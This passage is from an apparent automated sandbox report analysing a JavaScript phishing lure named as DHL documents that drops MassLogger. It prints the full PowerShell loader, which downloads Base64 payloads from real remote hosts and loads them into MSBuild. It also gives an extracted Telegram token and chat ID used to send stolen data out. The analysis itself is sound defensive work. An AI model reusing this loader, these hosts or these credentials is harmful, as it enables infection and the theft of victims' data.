'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = New-Object System.Net.WebClient;$unturf = $nonsymmetrical.DownloadData($Erlenmeyer);$aspectabund = [System.Text.Encoding]::UTF8.GetString($unturf);$cristiform = '<<BASE64_START>>';$doura = '<<BASE64_END>>';$postmodifier = $aspectabund.IndexOf($cristiform);$propylaeum = $aspectabund.IndexOf($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.Length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.Substring($postmodifier, $thoracici);$huhus = [System.Convert]::FromBase64String($tattooings);$homotaxic = [System.Reflection.Assembly]::Load($huhus);$nonrehydrated = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($emasculation,'','','','MSBuild','','','','','','','','','',''))", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DHl-Global-Documents.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5Kcp

Suricata Signatures

ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T09:12:10.988275+0100	2057635	1	A Network Trojan was detected	159.253.39.62	443	192.168.2.4	49732	TCP

ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T09:12:08.910625+0100	2049038	1	A Network Trojan was detected	193.30.119.105	443	192.168.2.4	49731	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T09:12:15.028982+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49733	158.101.44.242	80	TCP

ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T09:12:10.988275+0100	2858295	1	A Network Trojan was detected	159.253.39.62	443	192.168.2.4	49732	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7950334281:AAHp9dAAfHNwUHbGM-dLD_Mx8gH7uJ3FUPE", "Telegram Chatid": "7273417767"}

Multi AV Scanner detection for submitted file

Source: DHl-Global-Documents.js

Virustotal: Detection: 13%

Perma Link

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: unknown

HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49739 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 193.30.119.105:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 159.253.39.62:443 -> 192.168.2.4:49732 version: TLS 1.2

Source:	Binary string: dnlib.DotNet.Pdb.PdbWriter+ source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.resourcesuserresourcedatadnlib.dotnetassemblyrefuserdnlib.dotnetresolveexceptiondnlib.dotnet.emitmethodbodyreaderdnlib.dotnet.resourcesresourcewritermicrosoft.win32.taskschedulersnapshotitemdnlib.dotnet.pdbsymbolreadercreatordnlib.peimagesectionheaderdnlib.dotnet.emitlocallistdnlib.dotnet.writermdtablewriterdnlib.dotnetimdtokenproviderdnlib.dotnet.emitmethodbodyreaderbasednlib.dotnetmethodequalitycomparerdnlib.dotnetmdtokendnlib.dotnettypenameparserdnlib.dotnet.writeriheap source: powershell.exe, 00000001.00000002.1874305719.00007FFD99680000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000001.00000002.1873325587.00007FFD995FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1874305719.00007FFD99680000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: >.CurrentSystem.Collections.IEnumerator.CurrentSystem.Collections.Generic.IEnumerator<System.Int32>.get_CurrentSystem.Collections.Generic.IEnumerator<System.Collections.Generic.KeyValuePair<System.UInt32,System.Byte[]>>.get_CurrentSystem.Collections.Generic.IEnumerator<System.Collections.Generic.KeyValuePair<System.String,System.String>>.get_CurrentSystem.Collections.Generic.IEnumerator<T>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.CustomAttribute>.get_CurrentSystem.Collections.Generic.IEnumerator<TValue>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.FieldDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.MethodDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.TypeDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.EventDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.PropertyDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.ModuleRef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.TypeRef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.MemberRef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.AssemblyRef>.get_CurrentSystem.Collections.Generic.IEnumerator<System.String>.get_CurrentSystem.Collections.Generic.IEnumerator<TIn>.get_CurrentSystem.Collections.Generic.IEnumerator<Microsoft.Win32.TaskScheduler.TaskFolder>.get_CurrentSystem.Collections.Generic.IEnumerator<Microsoft.Win32.TaskScheduler.Trigger>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.CANamedArgument>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.MD.IRawRow>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.AssemblyResolver. source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `1dnlib.dotnet.mdstreamheaderdnlib.dotnet.mdtableinfodnlib.dotnetmarshalblobreaderdnlib.dotnetitypeormethoddefmicrosoft.win32.taskschedulermonthlydowtriggerdnlib.dotnet.pdbpdbwritermicrosoft.win32.taskschedulertasksettingsmicrosoft.win32.taskschedulertaskserviceversiondnlib.dotneticodedtokendnlib.dotnet.mdrawencmaprowdnlib.dotnet.writeriwritererrordnlib.dotnetimanagedentrypointdnlib.dotnetassemblylinkedresourcednlib.dotnetcablobparserexceptiondnlib.dotnetassemblyattributesdnlib.dotnet.writeritokencreatordnlib.dotnetassemblyresolveexceptiondnlib.dotnetclassorvaluetypesigdnlib.dotnetmethodsigdnlib.dotnetcmodoptsigdnlib.dotnetimplmapmicrosoft.win32.taskschedulertasktriggertypemicrosoft.win32.taskschedulertaskrightsmicrosoft.win32.taskschedulermonthsoftheyeardnlib.pedllcharacteristicsdnlib.dotnetparamattributesdnlib.dotnet.mdicolumnreadersystem.security.accesscontrolaccesscontrolextensionmicrosoft.win32.taskschedulertaskprincipalprivilegesmicrosoft.win32.taskscheduleridletriggermicrosoft.win32.taskscheduler.fluentweeklytriggerbuilderdnlib.dotnetimplmapuserdnlib.dotnet.writerdummymodulewriterlistenermicrosoft.win32.taskschedulerquicktriggertype source: powershell.exe, 00000001.00000002.1873325587.00007FFD995FC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `1microsoft.win32.taskscheduleritaskhandlerstatusdnlib.dotnet.writerchunklistbase`1dnlib.iohomednlib.dotneticustomattributednlib.dotnet.pdb.dssisymunmanagedwriter2dnlib.dotnet.writermaxstackcalculatordnlib.dotnet.pdbpdbdocumentusersmicrosoft.win32.taskscheduler.fluentmonthlytriggerbuilderdnlib.dotnet.writerhotpooldnlib.dotneteventattributesdnlib.dotnet.pdb.dsssymbolreadercreatordnlib.dotnet.writermodulewriterbasemicrosoft.win32.taskschedulerpowershellactionplatformoptiondnlib.dotnet.writerioffsetheap`1dnlib.dotnetclasslayoutuserdnlib.dotnet.mdcomimageflagsdnlib.dotnetinterfacemarshaltypemicrosoft.win32.taskschedulertaskeventlogdnlib.dotnetmarshaltypemicrosoft.win32.taskschedulertaskfolderdnlib.dotnet.resourcesresourcereaderexceptionmicrosoft.win32.taskscheduleractioncollectiondnlib.ioioextensionsdnlib.dotnet.writerchunklist`1dnlib.dotnet.emitexceptionhandlertypednlib.dotnet.mddotnetstreamdnlib.dotnetfieldattributesdnlib.dotnetparamdefdnlib.dotnetimemberrefresolverdnlib.dotnet.writerpeheadersdnlib.dotnet.writerwin32resourceschunkmicrosoft.win32.taskschedulernotv1supportedexceptioncronfieldtypednlib.dotnet.writermethodbodychunksdnlib.dotnetcaargumentmicrosoft.win32.taskscheduleritriggeruseriddnlib.dotnetloggereventdnlib.utilsmfunc`3dnlib.dotnetsecurityactiondnlib.dotnet.pdb.dsssymbolwritercreatordnlib.ioibinaryreadermicrosoft.win32.taskschedulersessionstatechangetriggerdnlib.dotnetassemblydefdnlib.dotneticustomattributetypednlib.dotnetmemberrefresolveexceptionmicrosoft.win32.taskschedulertaskcompatibilityentrydnlib.threadingenumerableiteratealldelegate`1dnlib.dotnet.mdridlistdnlib.dotnet.resourcesresourcereadermicrosoft.win32.taskschedulertaskdefinitiondnlib.dotnet.emitcodednlib.dotnetcmodreqdsigdnlib.dotnet.pdbpdbimpltypednlib.utilsilazylist`1dnlib.dotnet.emitflowcontroldnlib.dotnetleafsigdnlib.dotnetcanamedargumentdnlib.peimagefileheaderdnlib.dotnetisignaturereaderhelperdnlib.dotnet.mdheaptypednlib.dotnetvaluearraysigdnlib.dotnettypedefuserdnlib.dotnet.writerimdtablednlib.dotnet.resourcesresourcedatacreatordnlib.dotnet.mdrawmodulerefrowdnlib.dotnet.writercor20headeroptionsdnlib.dotnettypesigdnlib.dotnetalltypeshelper<>c__5`1microsoft.win32.taskschedulermonthlytriggerdnlib.dotnetmethoddefuserdnlib.dotnet.mdmetadataheaderdnlib.dotnet.emitopcodednlib.dotnetihassemanticdnlib.dotnetinterfaceimpldnlib.dotnetitokenoperanddnlib.dotnetidnlibdefmicrosoft.win32.taskschedulercomhandleractiondnlib.dotnetfullnamecreatordnlib.dotnetimethoddecrypterdnlib.dotnet.mdrawrowequalitycomparerdnlib.threadinglistiteratealldelegate`1microsoft.win32.taskscheduleritriggerdelaydnlib.dotnetpropertysigdnlib.dotnetassemblyresolverdnlib.dotnetstrongnamesignerdnlib.dotnetfixedarraymarshaltypednlib.dotnet.pdbpdbscope source: powershell.exe, 00000001.00000002.1873325587.00007FFD995FC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `1dnlib.dotnetstandalonesiguserdnlib.dotnetihasdeclsecuritydnlib.dotnetutf8stringequalitycomparerdnlib.dotnet.pdbpdbstatednlib.dotnet.writermetadataheaderoptionsdnlib.dotnet.mdrawconstantrowdnlib.dotnetdeclsecurityusermicrosoft.win32.taskschedulertaskprincipaldnlib.dotnet.writermodulewriterexceptiondnlib.dotnet.pdbisymbolwriter2 source: powershell.exe, 00000001.00000002.1873325587.00007FFD995FC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.pepeimagemicrosoft.win32.taskschedulerregistrationtriggermicrosoft.win32.taskschedulerdaysoftheweekmicrosoft.win32.taskschedulertaskrunflagsdnlib.dotnet.mdrawparamptrrowdnlib.dotnet.writerichunkdnlib.dotnet.resourcescreateresourcedatadelegatednlib.dotnet.mdrawmethodrowdnlib.dotnet.mdrawenclogrowmicrosoft.win32.taskschedulertaskeventenumeratordnlib.dotnet.writericustomattributewriterhelperdnlib.peiimageoptionalheaderdnlib.dotnet.writermodulewriterdnlib.threadingthreadsafelistcreatordnlib.dotnet.mdrawfieldrvarowdnlib.dotnet.writerhotheap20dnlib.dotnet.mdcolumnsizednlib.dotnet.mdrawassemblyprocessorrowdnlib.dotnet.writerdeclsecuritywriterconnectiontokendnlib.dotnet.writeruniquechunklist`1microsoft.win32.taskschedulertaskrunleveldnlib.dotnettypespecdnlib.dotnet.mdrawimplmaprowdnlib.dotnet.writermodulewriteroptionsdnlib.threadingextensionsdnlib.peipeimagednlib.dotnetinvalidkeyexceptiondnlib.dotnetfileattributesmicrosoft.win32.taskschedulerlogontriggerdnlib.dotnet.mdrawgenericparamconstraintrowdnlib.dotnet.writerhotheap40dnlib.dotnetmodulerefdnlib.dotnetsigcomparerdnlib.dotnet.writermetadatadnlib.dotnet.pdbsequencepointdnlib.dotnet.pdb.managedpdbexceptiondnlib.peimagentheadersdnlib.pemachinednlib.peimageoptionalheader64dnlib.dotnettypedefdnlib.dotnetvaluetypesigdnlib.dotnetbytearrayequalitycomparerdnlib.dotnetpropertydefuserdnlib.dotnet.writertablesheapdnlib.dotnet.mdrawmemberrefrowdnlib.dotnet.writerhottablednlib.dotnetconstantdnlib.dotnetassemblydefuserdnlib.dotnetmodulerefuserdnlib.dotnetexportedtypednlib.iofileoffsetdnlib.dotnet.mdrawfieldptrrowdnlib.dotnet.writerimportaddresstablednlib.dotnet.mdrawmethodptrrowdnlib.dotnet.mdrawinterfaceimplrowdnlib.dotnet.emitmethodutilsdnlib.dotnetcallingconventionsigdnlib.peimageoptionalheader32dnlib.dotnet.emitiinstructionoperandresolverdnlib.dotnetcustomattributecollectionmicrosoft.win32.taskschedulertsnotsupportedexceptiondnlib.dotnetitypednlib.dotnettypedeforrefsigdnlib.w32resourcesresourcedirectoryuserdnlib.dotnet.emitinstructionprintermicrosoft.win32.taskschedulerwildcardmicrosoft.win32.taskschedulercustomtriggerdnlib.w32resourcesresourcedirectorypemicrosoft.win32.taskscheduler.fluentintervaltriggerbuildermicrosoft.win32.taskschedulerresourcereferencevaluednlib.dotnet.pdb.managedsymbolreadercreatordnlib.dotnet.mdcodedtokendnlib.dotnetassemblynameinfodnlib.dotnet.emitstackbehaviourmicrosoft.win32.taskschedulertaskstatednlib.dotnet.mdrawmodulerowdnlib.dotnet.pdb.dssisymunmanageddocumentwritermicrosoft.win32.taskschedulertaskcompatibilitydnlib.dotnet.emitinvalidmethodexceptiondnlib.dotnetnullresolverdnlib.dotnetdeclsecuritydnlib.dotnet.emitdynamicmethodbodyreaderdnlib.dotnet.mdrawcustomattributerowdnlib.dotnet.resourcesresourceelementdnlib.dotnet.writerrelocdirectorydnlib.w32resourceswin32resourcespednlib.dotnetsigcompareroptionsdnlib.dotnet.mdrawmethodimplrowdnlib.dotnetsafearraymarshaltypednlib.dotnet.mdrawclasslayoutrowdnlib.dotnet.writerpeheadersoptionsmicrosoft.win32.taskschedulernamedvaluecollecti
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000001.00000002.1873325587.00007FFD995FC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `1taskprincipalprivilegesenumeratordnlib.dotnetifullnamemicrosoft.win32.taskscheduler.fluentactionbuilderdnlib.dotnet.mdmdheaderruntimeversionmicrosoft.win32.taskschedulerrunningtaskcollectiondnlib.dotnetframeworkredirectelemdnlib.dotnet.emitistringresolverdnlib.dotnet.writernativemodulewriteroptionsdnlib.dotnet.pdb.managedpdbreadermicrosoft.win32.taskschedulertaskfoldercollectiondnlib.dotnetcallingconventionmicrosoft.win32.taskschedulertaskfoldersnapshotdnlib.iotoolsdnlib.dotnetiassemblydnlib.dotnetparamdefuserdnlib.dotnet.mdrawdeclsecurityrowdnlib.dotnet.writernativemodulewriterdnlib.dotnetmethodbasesig<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>cmicrosoft.win32.taskschedulerrepetitionpatterndnlib.dotnetiassemblyreffindermicrosoft.win32.taskschedulericalendartriggerdnlib.dotnetmanifestresourcednlib.dotnet.writerimportdirectorymicrosoft.win32.taskschedulertaskservicednlib.dotnet.mdrawpropertymaprowmicrosoft.win32.taskschedulertaskinstancespolicymicrosoft.win32.taskscheduleritaskhandlerdnlib.dotnetparameterdnlib.dotnetitypedeffinderdnlib.dotnetsignaturereadermicrosoft.win32.taskschedulerboottriggerdnlib.dotnet.mdrawgenericparamrowdnlib.dotnet.writerimetadatalistenerdnlib.dotneteventequalitycomparerdnlib.dotnet.mdcolumninfodnlib.dotnetfieldsigdnlib.ioiimagestreamdnlib.threadinglistiteratedelegate`1dnlib.dotnetassemblynamecomparerflagsdnlib.dotnet.mdrawmethodsemanticsrowdnlib.dotnetpublickeydnlib.dotnetgenericsig source: powershell.exe, 00000001.00000002.1873325587.00007FFD995FC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdbsymbolwritercreator source: powershell.exe, 00000001.00000002.1874305719.00007FFD99680000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000001.00000002.1873325587.00007FFD995FC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnetscopetypednlib.dotnet.writerguidheapdnlib.dotnet.writertablesheapoptionsdnlib.dotnetgenericparamcontextdnlib.dotnetresourcetypednlib.dotnet.writerstrongnamesignaturednlib.dotnetifullnamecreatorhelperdnlib.dotnetvtablednlib.dotnetrawmarshaltypednlib.dotnet.pdbimage_debug_directorydnlib.dotnet.emitopcodetypednlib.dotnet.writerheapbasednlib.dotnet.mdmdtablednlib.dotnetfieldequalitycomparerdnlib.dotnetdeclsecurityreaderdnlib.dotnetimethoddnlib.dotnetarraymarshaltypednlib.dotnetityperesolver source: powershell.exe, 00000001.00000002.1874305719.00007FFD99680000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000001.00000002.1859174041.000001A45F6B0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: DHl-Global-Documents.js	Return value : ['"powershell.exe -Command "$rhizocrinus = \'#x#.kes/moc.milezug#emsik//:sp##h\';$emasculation = $rhizoc']
Source: DHl-Global-Documents.js	Argument value : ['"powershell.exe -Command "$rhizocrinus = \'#x#.kes/moc.milezug#emsik//:sp##h\';$emasculation = $rhizoc', 'WScript.Shell,[object Object]', 'Scripting.FileSystemObject,[object Object]', 'ADODB.Stream,[object Object]']
Source: DHl-Global-Documents.js	Return value : ['"powershell.exe -Command "$rhizocrinus = \'#x#.kes/moc.milezug#emsik//:sp##h\';$emasculation = $rhizoc', 'WScript.Shell,[object Object]', 'Scripting.FileSystemObject,[object Object]', 'ADODB.Stream,[object Object]']
Source: DHl-Global-Documents.js	Argument value : ['"powershell.exe -Command "$rhizocrinus = \'#x#.kes/moc.milezug#emsik//:sp##h\';$emasculation = $rhizoc', 'WScript.Shell,[object Object]', '"WScript.Shell"', 'Scripting.FileSystemObject,[object Object]', 'ADODB.Stream,[object Object]']
Source: DHl-Global-Documents.js	Argument value : ['"powershell.exe -Command "$rhizocrinus = \'#x#.kes/moc.milezug#emsik//:sp##h\';$emasculation = $rhizoc', 'WScript.Shell,[object Object]', '"WScript.Shell"', 'Scripting.FileSystemObject,[object Object]', 'ADODB.Stream,[object Object]']
Source: DHl-Global-Documents.js	Argument value : ['"powershell.exe -Command "$rhizocrinus = \'#x#.kes/moc.milezug#emsik//:sp##h\';$emasculation = $rhizoc', 'WScript.Shell,[object Object]', '"WScript.Shell"', 'Scripting.FileSystemObject,[object Object]', '"Scripting.FileSystemObject"', 'ADODB.Stream,[object Object]', '"ADODB.Stream"']
Source: DHl-Global-Documents.js	Argument value : ['"powershell.exe -Command "$rhizocrinus = \'#x#.kes/moc.milezug#emsik//:sp##h\';$emasculation = $rhizoc', 'WScript.Shell,[object Object]', '"WScript.Shell"', 'Scripting.FileSystemObject,[object Object]', '"Scripting.FileSystemObject"', 'ADODB.Stream,[object Object]', '"ADODB.Stream"']
Source: DHl-Global-Documents.js	Argument value : ['"powershell.exe -Command "$rhizocrinus = \'#x#.kes/moc.milezug#emsik//:sp##h\';$emasculation = $rhizoc', 'WScript.Shell,[object Object]', '"WScript.Shell"', 'Scripting.FileSystemObject,[object Object]', '"Scripting.FileSystemObject"', 'ADODB.Stream,[object Object]', '"ADODB.Stream"']
Source: DHl-Global-Documents.js	Argument value : ['"powershell.exe -Command "$rhizocrinus = \'#x#.kes/moc.milezug#emsik//:sp##h\';$emasculation = $rhizoc', 'WScript.Shell,[object Object]', '"WScript.Shell"', 'Scripting.FileSystemObject,[object Object]', '"Scripting.FileSystemObject"', 'ADODB.Stream,[object Object]', '"ADODB.Stream"']

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 010F9731h	3_2_010F9480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 010F9E5Ah	3_2_010F9A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 010F9E5Ah	3_2_010F9A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 010F9E5Ah	3_2_010F9D87

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057635 - Severity 1 - ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound : 159.253.39.62:443 -> 192.168.2.4:49732
Source: Network traffic	Suricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 159.253.39.62:443 -> 192.168.2.4:49732
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 193.30.119.105:443 -> 192.168.2.4:49731

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

Source: DHl-Global-Documents.js	Argument value : ['"<psf:PrintTicket xmlns:psf="http://schemas.microsoft.com/windows/2003/08/printing/printschemaframew']
Source: DHl-Global-Documents.js	Argument value : ['"<!doctype html>\n<html>\n<head>\n<title>\\x6587\\x5b57\\x30b3\\x30fc\\x30c9\\x266b</title>\n<meta charset="ut']
Source: DHl-Global-Documents.js	Return value : ['"<!doctype html>\n<html>\n<head>\n<title>\\x6587\\x5b57\\x30b3\\x30fc\\x30c9\\x266b</title>\n<meta charset="ut']
Source: DHl-Global-Documents.js	Return value : ['"powershell.exe -Command "$rhizocrinus = \'#x#.kes/moc.milezug#emsik//:sp##h\';$emasculation = $rhizoc']
Source: DHl-Global-Documents.js	Return value : ['alert,confirm,prompt,setTimeout,clearTimeout,setInterval,clearInterval,XMLHttpRequest,console']
Source: DHl-Global-Documents.js	Return value : ['"powershell.exe -Command "$rhizocrinus = \'#x#.kes/moc.milezug#emsik//:sp##h\';$emasculation = $rhizoc']
Source: DHl-Global-Documents.js	Argument value : ['"powershell.exe -Command "$rhizocrinus = \'#x#.kes/moc.milezug#emsik//:sp##h\';$emasculation = $rhizoc']
Source: DHl-Global-Documents.js	Argument value : ['"SelectionNamespaces","xmlns:psf=\'http://schemas.microsoft.com/windows/2003/08/printing/printschemaf']
Source: DHl-Global-Documents.js	Return value : ['alert,confirm,prompt,setTimeout,clearTimeout,setInterval,clearInterval,XMLHttpRequest,console']

Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d HTTP/1.1Host: 3005.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /sek.txt HTTP/1.1Host: kismetguzelim.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 193.30.119.105 193.30.119.105
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: Joe Sandbox View

ASN Name: NETINTERNETNetinternetBilisimTeknolojileriASTR NETINTERNETNetinternetBilisimTeknolojileriASTR

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic

Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49733 -> 158.101.44.242:80

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown

HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49739 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d HTTP/1.1Host: 3005.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /sek.txt HTTP/1.1Host: kismetguzelim.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: global traffic	DNS traffic detected: DNS query: 3005.filemail.com
